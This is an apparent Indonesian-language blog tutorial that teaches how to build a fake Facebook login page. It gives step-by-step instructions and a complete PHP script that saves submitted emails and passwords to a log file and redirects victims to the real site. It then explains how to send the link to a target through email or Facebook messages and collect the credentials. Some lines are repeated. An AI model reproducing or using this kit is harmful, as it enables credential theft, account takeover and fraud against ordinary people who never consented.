seng-iseng belajar Phising… Bagi yang belum mengeri soal Phising.. silahkan cari sendiri di mbah google 
Yang pertama perlu dilakukan, buka halaman login facebook .
Yang pertama perlu dilakukan, buka halaman login facebook .
Setelah itu di web browser kamu, klik file, pilih save as dan pilih web page completepada pilihan save as menu.
Jika sudah selesai, kita akan mendapatkan folder Facebook_files dan sebuah file Facebook.html
Buka file Facebook.html menggunakan text editor (notepad, wordpad, dsb).
Cari code seperti ini:
Jika sudah selesai, kita akan mendapatkan folder Facebook_files dan sebuah file Facebook.html
Buka file Facebook.html menggunakan text editor (notepad, wordpad, dsb).
Cari code seperti ini:
action="https://www.facebook.com/login.php?login_attempt=1"
Dan ganti dengan code berikut:
action="mail.php"
Setelah itu buka text editor baru dan copy code berikut dan simpan dengan nama file mail.php
<?php
header ('Location: https://www.facebook.com/login.php?login_attempt=1 ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Jika sudah, silahkan upload folder Facebook_files, Facebook.html dan mail.php ke sebuah hosting yang kamu punya 
Setelah itu buatlah file log.txt di folder tempat kamu menyimpan file Facebook.html di web hosting yang kamu punya.
Setelah itu buatlah file log.txt di folder tempat kamu menyimpan file Facebook.html di web hosting yang kamu punya.
Langkah terakhir adalah mengirimkan link tempat kamu menyimpan file Facebook.html ke target kamu. Bisa lewat email, wall FB atau pesan di FB
Jika target membuka link tadi, akan keluar halaman login facebook palsu. Nah, jika target mengisikan email dan passwordnya, kamu tinggal lihar email dan password tersebut di file log.txt yang telah kamu siapkan tadi.
Contoh phising yang sudah saya buat bisa dilihat di sini.
Selamat mencoba.. ingat… resiko ditanggung penumpang
sumber : Free Ethical Hacking Training
